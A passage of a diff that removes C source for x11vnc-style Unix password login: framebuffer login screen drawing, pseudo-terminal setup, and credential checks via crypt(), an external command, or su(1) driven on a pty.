,2327,6,13,0,-2,2340,6,13,0,-2,2353,6,13,0,-2,2366,6,13,0,-2,2379,6,13,0,-2,2392,6,13,0,-2,2405,6,13,0,-2,2418,6,13,0,-2,2431,6,13,0,-2,2444,6,13,0,-2,2457,6,13,0,-2,2470,6,13,0,-2,2483,6,13,0,-2,2496,6,13,0,-2,2509,6,13,0,-2,2522,6,13,0,-2,2535,6,13,0,-2,2548,6,13,0,-2,2561,6,13,0,-2,2574,6,13,0,-2,2587,6,13,0,-2,2600,6,13,0,-2,2613,6,13,0,-2,2626,6,13,0,-2,2639,6,13,0,-2,2652,6,13,0,-2,2665,6,13,0,-2,2678,6,13,0,-2,2691,6,13,0,-2,2704,6,13,0,-2,2717,6,13,0,-2,2730,6,13,0,-2,2743,6,13,0,-2,2756,6,13,0,-2,2769,6,13,0,-2,2782,6,13,0,-2,2795,6,13,0,-2,2808,6,13,0,-2,2821,6,13,0,-2,2834,6,13,0,-2,2847,6,13,0,-2,2860,6,13,0,-2,2873,6,13,0,-2,2886,6,13,0,-2,};
-static rfbFontData default6x13Font={default6x13FontData, default6x13FontMetaData};
-
-static int in_login = 0, in_passwd = 0, tries = 0;
-static int char_row = 0, char_col = 0;
-static int char_x = 0, char_y = 0, char_w = 8, char_h = 16;
-
-static int db = 0;
-
-int white_pixel(void) {
- static unsigned long black_pix = 0, white_pix = 1, set = 0;
-
- RAWFB_RET(0xffffff)
-
- if (depth <= 8 && ! set) {
- X_LOCK;
- black_pix = BlackPixel(dpy, scr);
- white_pix = WhitePixel(dpy, scr);
- X_UNLOCK;
- set = 1;
- }
- if (depth <= 8) {
- return (int) white_pix;
- } else if (depth < 24) {
- return 0xffff;
- } else {
- return 0xffffff;
- }
-}
-
-int black_pixel(void) {
- static unsigned long black_pix = 0, white_pix = 1, set = 0;
-
- RAWFB_RET(0x000000)
-
- if (depth <= 8 && ! set) {
- X_LOCK;
- black_pix = BlackPixel(dpy, scr);
- white_pix = WhitePixel(dpy, scr);
- X_UNLOCK;
- set = 1;
- }
- if (depth <= 8) {
- return (int) black_pix;
- } else if (depth < 24) {
- return 0x0000;
- } else {
- return 0x000000;
- }
-}
-
-static void unixpw_mark(void) {
- if (scaling) {
- mark_rect_as_modified(0, 0, scaled_x, scaled_y, 1);
- } else {
- mark_rect_as_modified(0, 0, dpy_x, dpy_y, 0);
- }
-}
-
-static int text_x(void) {
- return char_x + char_col * char_w;
-}
-
-static int text_y(void) {
- return char_y + char_row * char_h;
-}
-
-static rfbScreenInfo fscreen;
-static rfbScreenInfoPtr pscreen;
-
-static int f1_help = 0;
-
-void unixpw_screen(int init) {
- if (unixpw_cmd) {
- ; /* OK */
- } else if (unixpw_nis) {
-#ifndef UNIXPW_CRYPT
- rfbLog("-unixpw_nis is not supported on this OS/machine\n");
- clean_up_exit(1);
-#endif
- } else {
-#ifndef UNIXPW_SU
- rfbLog("-unixpw is not supported on this OS/machine\n");
- clean_up_exit(1);
-#endif
- }
- if (init) {
- int x, y;
- char log[] = "login: ";
-
- zero_fb(0, 0, dpy_x, dpy_y);
-
- mark_rect_as_modified(0, 0, dpy_x, dpy_y, 0);
-
- x = nfix(dpy_x / 2 - strlen(log) * char_w, dpy_x);
- y = (int) (dpy_y / 3.5);
- if (unixpw_system_greeter) {
- y = (int) (dpy_y / 3);
- }
-
- if (scaling) {
- x = (int) (x * scale_fac_x);
- y = (int) (y * scale_fac_y);
- x = nfix(x, scaled_x);
- y = nfix(y, scaled_y);
- }
-
- if (rotating) {
- fscreen.serverFormat.bitsPerPixel = bpp;
- fscreen.paddedWidthInBytes = rfb_bytes_per_line;
- fscreen.frameBuffer = rfb_fb;
- pscreen = &fscreen;
- } else {
- pscreen = screen;
- }
-
- if (pscreen && pscreen->width >= 640 && pscreen->height >= 480) {
- rfbDrawString(pscreen, &default6x13Font, 8, 2+1*13, "F1-Help:", white_pixel());
- }
- f1_help = 0;
-
- if (unixpw_system_greeter) {
- unixpw_system_greeter_active = 0;
- if (use_dpy && strstr(use_dpy, "xdmcp")) {
- if (getenv("X11VNC_SYSTEM_GREETER1")) {
- char moo[] = "Press 'Escape' for System Greeter";
- rfbDrawString(pscreen, &default8x16Font, x-90, y-30, moo, white_pixel());
- } else {
- char moo1[] = "Press 'Escape' for a New Session via System Greeter, or";
- char moo2[] = "otherwise login here to connect to an Existing Session:";
- rfbDrawString(pscreen, &default6x13Font, x-110, y-38, moo1, white_pixel());
- rfbDrawString(pscreen, &default6x13Font, x-110, y-25, moo2, white_pixel());
- }
- set_env("X11VNC_XDM_ONLY", "0");
- unixpw_system_greeter_active = 1;
- }
- }
-
- rfbDrawString(pscreen, &default8x16Font, x, y, log, white_pixel());
-
- char_x = x;
- char_y = y;
- char_col = strlen(log);
- char_row = 0;
-
- set_warrow_cursor();
- }
-
- unixpw_mark();
-}
-
-
-#ifdef MAXPATHLEN
-static char slave_str[MAXPATHLEN];
-#else
-static char slave_str[4096];
-#endif
-
-static int used_get_pty_ptmx = 0;
-
-char *get_pty_ptmx(int *fd_p) {
- char *slave;
- int fd = -1, i, ndevs = 4, tmp;
- char *devs[] = {
- "/dev/ptmx",
- "/dev/ptm/clone",
- "/dev/ptc",
- "/dev/ptmx_bsd"
- };
-
- *fd_p = -1;
-
-#if LIBVNCSERVER_HAVE_GRANTPT
-
- for (i=0; i < ndevs; i++) {
-#ifdef O_NOCTTY
- fd = open(devs[i], O_RDWR|O_NOCTTY);
-#else
- fd = open(devs[i], O_RDWR);
-#endif
- if (fd >= 0) {
- break;
- }
- }
-
- if (fd < 0) {
- rfbLogPerror("open /dev/ptmx");
- return NULL;
- }
-
-#if LIBVNCSERVER_HAVE_SYS_IOCTL_H && defined(TIOCPKT)
- tmp = 0;
- ioctl(fd, TIOCPKT, (char *) &tmp);
-#endif
-
- if (grantpt(fd) != 0) {
- rfbLogPerror("grantpt");
- close(fd);
- return NULL;
- }
- if (unlockpt(fd) != 0) {
- rfbLogPerror("unlockpt");
- close(fd);
- return NULL;
- }
-
- slave = ptsname(fd);
- if (! slave) {
- rfbLogPerror("ptsname");
- close(fd);
- return NULL;
- }
-
-#if LIBVNCSERVER_HAVE_SYS_IOCTL_H && defined(TIOCFLUSH)
- ioctl(fd, TIOCFLUSH, (char *) 0);
-#endif
-
- if (strlen(slave) > sizeof(slave_str)/2) {
- rfbLog("get_pty_ptmx: slave string length too long.\n");
- close(fd);
- return NULL;
- }
-
- strcpy(slave_str, slave);
- *fd_p = fd;
- return slave_str;
-
-#else
- return NULL;
-
-#endif /* GRANTPT */
-}
-
-
-char *get_pty_loop(int *fd_p) {
- char master_str[16];
- int fd = -1, i;
- char c;
-
- *fd_p = -1;
-
- /* for *BSD loop over /dev/ptyXY */
-
- for (c = 'p'; c <= 'z'; c++) {
- for (i=0; i < 16; i++) {
- sprintf(master_str, "/dev/pty%c%x", c, i);
-#ifdef O_NOCTTY
- fd = open(master_str, O_RDWR|O_NOCTTY);
-#else
- fd = open(master_str, O_RDWR);
-#endif
- if (fd >= 0) {
- break;
- }
- }
- if (fd >= 0) {
- break;
- }
- }
- if (fd < 0) {
- return NULL;
- }
-
-#if LIBVNCSERVER_HAVE_SYS_IOCTL_H && defined(TIOCFLUSH)
- ioctl(fd, TIOCFLUSH, (char *) 0);
-#endif
-
- sprintf(slave_str, "/dev/tty%c%x", c, i);
- *fd_p = fd;
- return slave_str;
-}
-
-char *get_pty(int *fd_p) {
- used_get_pty_ptmx = 0;
- if (getenv("BSD_PTY")) {
- return get_pty_loop(fd_p);
- }
-#ifdef IS_BSD
- return get_pty_loop(fd_p);
-#else
-#if LIBVNCSERVER_HAVE_GRANTPT
- used_get_pty_ptmx = 1;
- return get_pty_ptmx(fd_p);
-#else
- return get_pty_loop(fd_p);
-#endif
-#endif
-}
-
-void try_to_be_nobody(void) {
-
-#if LIBVNCSERVER_HAVE_PWD_H
- struct passwd *pw;
- pw = getpwnam("nobody");
-
- if (pw) {
-#if LIBVNCSERVER_HAVE_SETUID
- setuid(pw->pw_uid);
-#endif
-#if LIBVNCSERVER_HAVE_SETEUID
- seteuid(pw->pw_uid);
-#endif
-#if LIBVNCSERVER_HAVE_SETGID
- setgid(pw->pw_gid);
-#endif
-#if LIBVNCSERVER_HAVE_SETEGID
- setegid(pw->pw_gid);
-#endif
- }
-#endif /* PWD_H */
-}
-
-
-static int slave_fd = -1, alarm_fired = 0;
-
-static void close_alarm (int sig) {
- if (slave_fd >= 0) {
- close(slave_fd);
- }
- alarm_fired = 1;
- if (0) sig = 0; /* compiler warning */
-}
-
-static void kill_child (pid_t pid, int fd) {
- int status;
-
- slave_fd = -1;
- alarm_fired = 0;
- if (fd >= 0) {
- close(fd);
- }
- kill(pid, SIGTERM);
- waitpid(pid, &status, WNOHANG);
-}
-
-static int scheck(char *str, int n, char *name) {
- int j, i;
-
- if (! str) {
- return 0;
- }
- j = 0;
- for (i=0; i<n; i++) {
- if (str[i] == '\0') {
- j = 1;
- break;
- }
- if (!strcmp(name, "password")) {
- if (str[i] == '\n') {
- continue;
- }
- }
- if (str[i] < ' ' || str[i] >= 0x7f) {
- rfbLog("scheck: invalid character in %s.\n", name);
- return 0;
- }
- }
- if (j == 0) {
- rfbLog("scheck: unterminated string in %s.\n", name);
- return 0;
- }
- return 1;
-}
-
-int unixpw_list_match(char *user) {
- if (! unixpw_list || unixpw_list[0] == '\0') {
- return 1;
- } else {
- char *p, *q, *str = strdup(unixpw_list);
- int ok = 0;
- int notmode = 0;
-
- if (str[0] == '!') {
- notmode = 1;
- ok = 1;
- p = strtok(str+1, ",");
- } else {
- p = strtok(str, ",");
- }
- while (p) {
- if ( (q = strchr(p, ':')) != NULL ) {
- *q = '\0'; /* get rid of options. */
- }
- if (!strcmp(user, p)) {
- if (notmode) {
- ok = 0;
- } else {
- ok = 1;
- }
- break;
- }
- if (!notmode && !strcmp("*", p)) {
- ok = 1;
- break;
- }
- p = strtok(NULL, ",");
- }
- free(str);
- if (! ok) {
- rfbLog("unixpw_list_match: fail for '%s'\n", user);
- return 0;
- } else {
- rfbLog("unixpw_list_match: OK for '%s'\n", user);
- return 1;
- }
- }
-}
-
-int crypt_verify(char *user, char *pass) {
-#ifndef UNIXPW_CRYPT
- return 0;
-#else
- struct passwd *pwd;
- char *realpw, *cr;
- int n;
-
- if (! scheck(user, 100, "username")) {
- return 0;
- }
- if (! scheck(pass, 100, "password")) {
- return 0;
- }
- if (! unixpw_list_match(user)) {
- return 0;
- }
-
- pwd = getpwnam(user);
- if (! pwd) {
- return 0;
- }
-
- realpw = pwd->pw_passwd;
- if (realpw == NULL || realpw[0] == '\0') {
- return 0;
- }
-
- if (db > 1) fprintf(stderr, "realpw='%s'\n", realpw);
-
- if (strlen(realpw) < 12) {
- /* e.g. "x", try getspnam(), sometimes root for inetd, etc */
-#if LIBVNCSERVER_HAVE_GETSPNAM
- struct spwd *sp = getspnam(user);
- if (sp != NULL && sp->sp_pwdp != NULL) {
- if (db) fprintf(stderr, "using getspnam()\n");
- realpw = sp->sp_pwdp;
- } else {
- if (db) fprintf(stderr, "skipping getspnam()\n");
- }
-#endif
- }
-
- n = strlen(pass);
- if (pass[n-1] == '\n') {
- pass[n-1] = '\0';
- }
-
- /* XXX remove need for cast */
- cr = (char *) crypt(pass, realpw);
- if (db > 1) {
- fprintf(stderr, "user='%s' pass='%s' realpw='%s' cr='%s'\n",
- user, pass, realpw, cr ? cr : "(null)");
- }
- if (cr == NULL || cr[0] == '\0') {
- return 0;
- }
- if (!strcmp(cr, realpw)) {
- return 1;
- } else {
- return 0;
- }
-#endif /* UNIXPW_CRYPT */
-}
-
-int unixpw_cmd_run(char *user, char *pass, char *cmd, char *line, int *n) {
- int i, len, rc;
- char *str;
- FILE *out;
-
- if (! user || ! pass) {
- return 0;
- }
- if (! unixpw_cmd || *unixpw_cmd == '\0') {
- return 0;
- }
-
- if (! scheck(user, 100, "username")) {
- return 0;
- }
- if (! scheck(pass, 100, "password")) {
- return 0;
- }
- if (! unixpw_list_match(user)) {
- return 0;
- }
- if (cmd == NULL) {
- cmd = "";
- }
-
- len = strlen(user) + 1 + strlen(pass) + 1 + 1;
- str = (char *) malloc(len);
- if (! str) {
- return 0;
- }
- str[0] = '\0';
- strcat(str, user);
- strcat(str, "\n");
- strcat(str, pass);
- if (!strchr(pass, '\n')) {
- strcat(str, "\n");
- }
-
- out = tmpfile();
- if (out == NULL) {
- rfbLog("unixpw_cmd_run tmpfile() failed.\n");
- clean_up_exit(1);
- }
-
- set_env("RFB_UNIXPW_CMD_RUN", cmd);
-
- rc = run_user_command(unixpw_cmd, unixpw_client, "cmd_verify",
- str, strlen(str), out);
-
- set_env("RFB_UNIXPW_CMD_RUN", "");
-
- for (i=0; i < len; i++) {
- str[i] = '\0';
- }
- free(str);
-
- fflush(out);
- rewind(out);
- for (i=0; i < (*n) - 1; i++) {
- int c = fgetc(out);
- if (c == EOF) {
- break;
- }
- line[i] = (char) c;
- }
- fclose(out);
- *n = i;
-
- if (rc == 0) {
- return 1;
- } else {
- return 0;
- }
-}
-
-
-int cmd_verify(char *user, char *pass) {
- int i, len, rc;
- char *str;
-
- if (! user || ! pass) {
- return 0;
- }
- if (! unixpw_cmd || *unixpw_cmd == '\0') {
- return 0;
- }
-
- if (! scheck(user, 100, "username")) {
- return 0;
- }
- if (! scheck(pass, 100, "password")) {
- return 0;
- }
- if (! unixpw_list_match(user)) {
- return 0;
- }
-
- if (unixpw_client) {
- ClientData *cd = (ClientData *) unixpw_client->clientData;
- if (cd) {
- cd->username = strdup(user);
- }
- }
-
- len = strlen(user) + 1 + strlen(pass) + 1 + 1;
- str = (char *) malloc(len);
- if (! str) {
- return 0;
- }
- str[0] = '\0';
- strcat(str, user);
- strcat(str, "\n");
- strcat(str, pass);
- if (!strchr(pass, '\n')) {
- strcat(str, "\n");
- }
-
- rc = run_user_command(unixpw_cmd, unixpw_client, "cmd_verify",
- str, strlen(str), NULL);
-
- for (i=0; i < len; i++) {
- str[i] = '\0';
- }
- free(str);
-
- if (rc == 0) {
- return 1;
- } else {
- return 0;
- }
-}
-
-int su_verify(char *user, char *pass, char *cmd, char *rbuf, int *rbuf_size, int nodisp) {
-#ifndef UNIXPW_SU
- return 0;
-#else
- int i, j, status, fd = -1, sfd, tfd, drain_size = 65536, rsize = 0;
- int slow_pw = 1;
- char *slave, *bin_true = NULL, *bin_su = NULL;
- pid_t pid, pidw;
- struct stat sbuf;
- static int first = 1;
- char instr[64], cbuf[10];
-
- if (first) {
- set_db();
- first = 0;
- }
- rfbLog("su_verify: '%s' for %s.\n", user, cmd ? "command" : "login");
- fflush(stderr);
-
- if (! scheck(user, 100, "username")) {
- return 0;
- }
- if (! scheck(pass, 100, "password")) {
- return 0;
- }
- if (! unixpw_list_match(user)) {
- return 0;
- }
-
- /* unixpw */
- if (no_external_cmds || !cmd_ok("unixpw")) {
- rfbLog("su_verify: cannot run external commands.\n");
- clean_up_exit(1);
- }
-
-#define SU_DEBUG 0
-#if SU_DEBUG
- if (stat("/su", &sbuf) == 0) {
- bin_su = "/su"; /* Freesbie read-only-fs /bin/su not suid! */
-#else
- if (0) {
- ;
-#endif
- } else if (stat("/bin/su", &sbuf) == 0) {
- bin_su = "/bin/su";
- } else if (stat("/usr/bin/su", &sbuf) == 0) {
- bin_su = "/usr/bin/su";
- }
- if (bin_su == NULL) {
- rfbLogPerror("existence /bin/su");
- fflush(stderr);
- return 0;
- }
-
- if (stat("/bin/true", &sbuf) == 0) {
- bin_true = "/bin/true";
- } if (stat("/usr/bin/true", &sbuf) == 0) {
- bin_true = "/usr/bin/true";
- }
- if (cmd != NULL && cmd[0] != '\0') {
- /* this is for ext. cmd su -c "my cmd" after login */
- bin_true = cmd;
- }
- if (bin_true == NULL) {
- rfbLogPerror("existence /bin/true");
- fflush(stderr);
- return 0;
- }
-
- slave = get_pty(&fd);
-
- if (slave == NULL) {
- rfbLogPerror("get_pty failed.");
- fflush(stderr);
- return 0;
- }
-
- if (db) fprintf(stderr, "cmd is: %s\n", cmd);
- if (db) fprintf(stderr, "slave is: %s fd=%d\n", slave, fd);
-
- if (fd < 0) {
- rfbLogPerror("get_pty fd < 0");
- fflush(stderr);
- return 0;
- }
-
- fcntl(fd, F_SETFD, 1);
-
- pid = fork();
- if (pid < 0) {
- rfbLogPerror("fork");
- fflush(stderr);
- close(fd);
- return 0;
- }
-
- if (pid == 0) {
- /* child */
-
- int ttyfd;
- ttyfd = -1; /* compiler warning */
-
-#if LIBVNCSERVER_HAVE_SETSID
- if (setsid() == -1) {
- perror("setsid");
- exit(1);
- }
-#else
- if (setpgrp() == -1) {
- perror("setpgrp");
- exit(1);
- }
-#if LIBVNCSERVER_HAVE_SYS_IOCTL_H && defined(TIOCNOTTY)
- ttyfd = open("/dev/tty", O_RDWR);
- if (ttyfd >= 0) {
- (void) ioctl(ttyfd, TIOCNOTTY, (char *) 0);
- close(ttyfd);
- }
-#endif
-
-#endif /* SETSID */
-
- close(0);
- close(1);
- close(2);
-
- sfd = open(slave, O_RDWR);
- if (sfd < 0) {
- exit(1);
- }
-
-/* streams options fixups, handle cases as they are found: */
-#if defined(__hpux)
-#if LIBVNCSERVER_HAVE_SYS_STROPTS_H
-#if LIBVNCSERVER_HAVE_SYS_IOCTL_H && defined(I_PUSH)
- if (used_get_pty_ptmx) {
- ioctl(sfd, I_PUSH, "ptem");
- ioctl(sfd, I_PUSH, "ldterm");
- ioctl(sfd, I_PUSH, "ttcompat");
- }
-#endif
-#endif
-#endif
-
- /* n.b. sfd will be 0 since we closed 0. so dup it to 1 and 2 */
- if (fcntl(sfd, F_DUPFD, 1) == -1) {
- exit(1);
- }
- if (fcntl(sfd, F_DUPFD, 2) == -1) {
- exit(1);
- }
-
-#if LIBVNCSERVER_HAVE_SYS_IOCTL_H && defined(TIOCSCTTY)
- ioctl(sfd, TIOCSCTTY, (char *) 0);
-#endif
-
- if (db > 2) {
- char nam[256];
- unlink("/tmp/isatty");
- tfd = open("/tmp/isatty", O_CREAT|O_WRONLY, 0600);
- if (isatty(sfd)) {
- close(tfd);
- sprintf(nam, "stty -a < %s > /tmp/isatty 2>&1",
- slave);
- system(nam);
- } else {
- write(tfd, "NOTTTY\n", 7);
- close(tfd);
- }
- }
-
- chdir("/");
-
- try_to_be_nobody();
-#if LIBVNCSERVER_HAVE_GETUID
- if (getuid() == 0 || geteuid() == 0) {
- exit(1);
- }
-#else
- exit(1);
-#endif
-
- set_env("LC_ALL", "C");
- set_env("LANG", "C");
- set_env("SHELL", "/bin/sh");
- if (nodisp) {
- /* this will cause timeout problems with pam_xauth */
- int k;
- for (k=0; k<3; k++) {
- if (getenv("DISPLAY")) {
- char *s = getenv("DISPLAY");
- if (s) *(s-2) = '_'; /* quite... */
- }
- if (getenv("XAUTHORITY")) {
- char *s = getenv("XAUTHORITY");
- if (s) *(s-2) = '_'; /* quite... */
- }
- }
- }
-
- /* synchronize with parent: */
- write(2, "C", 1);
-
- if (cmd) {
- execlp(bin_su, bin_su, "-", user, "-c",
- bin_true, (char *) NULL);
- } else {
- execlp(bin_su, bin_su, user, "-c",
- bin_true, (char *) NULL);
- }
- exit(1);
- }
- /* parent */
-
- if (db) fprintf(stderr, "pid: %d\n", pid);
-
- /*
- * set an alarm for blocking read() to close the master
- * (presumably terminating the child. SIGTERM too...)
- */
- slave_fd = fd;
- alarm_fired = 0;
- signal(SIGALRM, close_alarm);
- alarm(10);
-
- /* synchronize with child: */
- cbuf[0] = '\0';
- cbuf[1] = '\0';
- for (i=0; i<10; i++) {
- int n;
- cbuf[0] = '\0';
- cbuf[1] = '\0';
- n = read(fd, cbuf, 1);
- if (n < 0 && errno == EINTR) {
- continue;
- } else {
- break;
- }
- }
-
- if (db) {
- fprintf(stderr, "read from child: '%s'\n", cbuf);
- }
-
- alarm(0);
- signal(SIGALRM, SIG_DFL);
- if (alarm_fired) {
- kill_child(pid, fd);
- return 0;
- }
-
-#if LIBVNCSERVER_HAVE_SYS_IOCTL_H && defined(TIOCTRAP)
- {
- int control = 1;
- ioctl(fd, TIOCTRAP, &control);
- }
-#endif
-
- /*
- * In addition to checking exit code below, we watch for the
- * appearance of the string "Password:". BSD does not seem to
- * ask for a password trying to su to yourself. This is the
- * setting in /etc/pam.d/su:
- * auth sufficient pam_self.so
- * it may be commented out without problem.
- */
- for (i=0; i< (int) sizeof(instr); i++) {
- instr[i] = '\0';
- }
-
- alarm_fired = 0;
- signal(SIGALRM, close_alarm);
- alarm(10);
-
- j = 0;
- for (i=0; i < (int) strlen("Password:"); i++) {
- char pstr[] = "password:";
- int n, problem;
-
- cbuf[0] = '\0';
- cbuf[1] = '\0';
-
- n = read(fd, cbuf, 1);
- if (n < 0 && errno == EINTR) {
- i--;
- if (i < -1) i = -1;
- continue;
- }
-
- if (db) {
- fprintf(stderr, "%s", cbuf);
- if (db > 3 && n == 1 && cbuf[0] == ':') {
- char cmd0[32];
- usleep( 100 * 1000 );
- fprintf(stderr, "\n\n");
- sprintf(cmd0, "ps wu %d", pid);
- system(cmd0);
- sprintf(cmd0, "stty -a < %s", slave);
- system(cmd0);
- fprintf(stderr, "\n\n");
- }
- }
-
- if (n == 1) {
- if (isspace((unsigned char) cbuf[0])) {
- i--;
- if (i < -1) i = -1;
- continue;
- }
- if (j >= (int) sizeof(instr)-1) {
- rfbLog("su_verify: problem finding Password:\n");
- fflush(stderr);
- return 0;
- }
- instr[j++] = tolower((unsigned char)cbuf[0]);
- }
-
- problem = 0;
- if (n <= 0) {
- problem = 1;
- } else if (strstr(pstr, instr) != pstr) {
-#ifdef _AIX
- if (UT.sysname && strstr(UT.sysname, "AIX")) {
- /* handle: runge's Password: */
- char *luser = (char *) malloc(strlen(user) + 10);
-
- sprintf(luser, "%s's", user);
- lowercase(luser);
- if (db) fprintf(stderr, "\nAIX luser compare: \"%s\" to \"%s\"\n", luser, instr);
- if (strstr(luser, instr) == luser) {
- if (db) fprintf(stderr, "AIX luser compare: strstr OK.\n");
- if (!strcmp(luser, instr)) {
- if (db) fprintf(stderr, "AIX luser compare: strings equal.\n");
- i = -1;
- j = 0;
- memset(instr, 0, sizeof(instr));
- free(luser);
- continue;
- } else {
- i--;
- if (i < -1) i = -1;
- free(luser);
- continue;
- }
- } else {
- if (db) fprintf(stderr, "AIX luser compare: problem=1\n");
- problem = 1;
- }
- free(luser);
- } else
-#endif
- {
- problem = 1;
- }
- }
-
- if (problem) {
- if (db) {
- fprintf(stderr, "\"Password:\" did not "
- "appear: '%s'" " n=%d\n", instr, n);
- if (db > 3 && n == 1 && j < 32) {
- continue;
- }
- }
- alarm(0);
- signal(SIGALRM, SIG_DFL);
- kill_child(pid, fd);
- return 0;
- }
- }
-
- alarm(0);
- signal(SIGALRM, SIG_DFL);
- if (alarm_fired) {
- kill_child(pid, fd);
- return 0;
- }
-
- if (db) fprintf(stderr, "\nsending passwd: %s\n", db > 2 ? pass : "****");
- usleep(100 * 1000);
- if (slow_pw) {
- unsigned int k;
- for (k = 0; k < strlen(pass); k++) {
- write(fd, pass+k, 1);
- usleep(100 * 1000);
- }
- } else {
- write(fd, pass, strlen(pass));
- }
-
- alarm_fired = 0;
- signal(SIGALRM, close_alarm);
- alarm(15);
-
- /*
- * try to drain the output, hopefully never as much as 4096 (motd?)
- * if we don't drain we may block at waitpid. If we close(fd), the
- * make cause child to die by signal.
- */
- if (rbuf && *rbuf_size > 0) {
- /* asked to return output of command */
- drain_size = *rbuf_size;
- rsize = 0;
- }
- if (db) fprintf(stderr, "\ndraining:\n");
- for (i = 0; i< drain_size; i++) {
- int n;
-
- cbuf[0] = '\0';
- cbuf[1] = '\0';
-
- n = read(fd, cbuf, 1);
- if (n < 0 && errno == EINTR) {
- if (db) fprintf(stderr, "\nEINTR n=%d i=%d --", n, i);
- i--;
- if (i < 0) i = 0;
- continue;
- }
-
- if (db) fprintf(stderr, "\nn=%d i=%d errno=%d %.6f '%s'", n, i, errno, dnowx(), cbuf);
-
- if (n <= 0) {
- break;
- }
- if (rbuf && *rbuf_size > 0) {
- rbuf[rsize++] = cbuf[0];
- }
- }
- if (db && rbuf) fprintf(stderr, "\nrbuf: '%s'\n", rbuf);
-
- if (rbuf && *rbuf_size > 0) {
- char *s = rbuf;
- char *p = strdup(pass);
- int n, o = 0;
-
- n = strlen(p);
- if (p[n-1] == '\n') {
- p[n-1] = '\0';
- }
- /*
- * usually is: Password: mypassword\r\n\r\n<output-of-command>
- * and output will have \n -> \r\n
- */
- if (rbuf[0] == ' ') {
- s++;
- o++;
- }
- if (strstr(s, p) == s) {
- s += strlen(p);
- o += strlen(p);
- for (n = 0; n < 4; n++) {
- if (s[0] == '\r' || s[0] == '\n') {
- s++;
- o++;
- }
- }
- }
- if (o > 0) {
- int i = 0;
- rsize -= o;
- while (o < drain_size) {
- rbuf[i++] = rbuf[o++];
- }
- }
- *rbuf_size = rsize;
- strzero(p);
- free(p);
- }
-
- if (db) fprintf(stderr, "\n--\n");
-
- alarm(0);
- signal(SIGALRM, SIG_DFL);
- if (alarm_fired) {
- kill_child(pid, fd);
- return 0;
- }
-
- slave_fd = -1;
-
- pidw = waitpid(pid, &status, 0);
- close(fd);
-
- if (pid != pidw) {
- return 0;
- }
-
- if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
- return 1; /* this is the only return of success. */
- } else {
- return 0;
- }
-#endif /* UNIXPW_SU */
-}
-
-int unixpw_verify(char *user, char *pass) {
- int ok = 0;
- if (unixpw_cmd) {
- if (cmd_verify(user, pass)) {
- rfbLog("unixpw_verify: cmd_verify login for '%s'"
- " succeeded.\n", user);
- fflush(stderr);
- ok = 1;
- } else {
- rfbLog("unixpw_verify: cmd_verify login for '%s'"
- " failed.\n", user);
- fflush(stderr);
- usleep(3000*1000);
- ok = 0;
- }
- } else if (unixpw_nis) {
- if (crypt_verify(user, pass)) {
- rfbLog("unixpw_verify: crypt_verify login for '%s'"
- " succeeded.\n", user);
- fflush(stderr);
- ok = 1;
- } else {
- rfbLog("unixpw_verify: crypt_verify login for '%s'"
- " failed.\n", user);
- fflush(stderr);
- usleep(3000*1000);
- ok = 0;
- }
- } else {
- if (su_verify(user, pass, NULL, NULL, NULL, 1)) {
- rfbLog("unixpw_verify: su_verify login for '%s'"
- " succeeded.\n", user);
- fflush(stderr);
- ok = 1;
- } else {
- rfbLog("unixpw_verify: su_verify login for '%s'"
- " failed.\n", user);
- fflush(stderr);
- /* use su(1)'s sleep */
- ok = 0;
- }
- }
- return ok;
-}
-
-static int skip_it = 0;
-
-static void progress_skippy(void) {
- int i, msec = get_net_latency(); /* probabaly not set yet.. */
-
- if (msec > 300) {
- msec = 300;
- } else if (msec <= 100) {
- msec = 100;
- }
-
- skip_it = 1;
- for (i = 0; i < 5; i++) {
- if (i == 2) {
- rfbPE(msec * 1000);
- } else {
- rfbPE(-1);
- }
- usleep(10*1000);
- }
- skip_it = 0;
-
- usleep(50*1000);
-}
-
-void check_unixpw_userprefs(void) {
- char *prefs = getenv("FD_USERPREFS");
- if (keep_unixpw_user == NULL || keep_unixpw_opts == NULL) {
- return;
- }
-#if LIBVNCSERVER_HAVE_PWD_H
- if (prefs != NULL && !strchr(prefs, '/')) {
- struct passwd *pw = getpwnam(keep_unixpw_user);
- if (pw != NULL) {
- char *file;
- FILE *f;
-
- file = (char *) malloc(strlen(pw->pw_dir) + 1 + strlen(prefs) + 1);
- sprintf(file, "%s/%s", pw->pw_dir, prefs);
-
- f = fopen(file, "r");
- if (f) {
- char *t, *q, buf[1024];
- memset(buf, 0, sizeof(buf));
-
- fgets(buf, 1024, f);
- fclose(f);
-
- q = strchr(buf, '\n');
- if (q) *q = '\0';
- q = strchr(buf, '\r');
- if (q) *q = '\0';
-
- rfbLog("read user prefs %s: %s\n", file, buf);
-
- if (buf[0] == '#') buf[0] = '\0';
-
- t = (char *) malloc(strlen(keep_unixpw_opts) + 1 + strlen(buf) + 1);
- sprintf(t, "%s,%s", keep_unixpw_opts, buf);
- free(keep_unixpw_opts);
- keep_unixpw_opts = t;
- } else {
- rfbLog("could not read user prefs %s\n", file);
- rfbLogPerror("fopen");
- }
- free(file);
- }
- }
-#endif
-}
-
-
-void unixpw_verify_screen(char *user, char *pass) {
- int x, y;
- char li[] = "Login incorrect";
- char ls[] = "Login succeeded";
- char log[] = "login: ";
- char *colon = NULL;
- ClientData *cd = NULL;
- int ok;
-
-if (db) fprintf(stderr, "unixpw_verify: '%s' '%s'\n", user, db > 1 ? pass : "********");
- rfbLog("unixpw_verify: '%s'\n", user ? user : "(null)");
-
- if (user) {
- colon = strchr(user, ':');
- }
- if (colon) {
- *colon = '\0';
- rfbLog("unixpw_verify: colon: '%s'\n", user);
- }
- fflush(stderr);
- if (unixpw_client) {
- cd = (ClientData *) unixpw_client->clientData;
- if (cd) {
- char *str = (char *)malloc(strlen("UNIX:") +
- strlen(user) + 1);
- sprintf(str, "UNIX:%s", user);
- if (cd->username) {
- free(cd->username);
- }
- cd->username = str;
- }
- }
-
- ok = unixpw_verify(user, pass);
-
- if (ok) {
- char_row++;
- char_col = 0;
-
- x = text_x();
- y = text_y();
- rfbDrawString(pscreen, &default8x16Font, x, y, ls, white_pixel());
- unixpw_mark();
-
- progress_skippy();
-
- unixpw_accept(user);
-
- if (keep_unixpw) {
- keep_unixpw_user = strdup(user);
- keep_unixpw_pass = strdup(pass);
- if (colon) {
- keep_unixpw_opts = strdup(colon+1);
- } else {
- keep_unixpw_opts = strdup("");
- }
- check_unixpw_userprefs();
- }
-
- if (colon) *colon = ':';
-
- return;
- }
- if (colon) *colon = ':';
-
- if (tries < 2) {
- char_row++;
- char_col = 0;
-
- x = text_x();
- y = text_y();
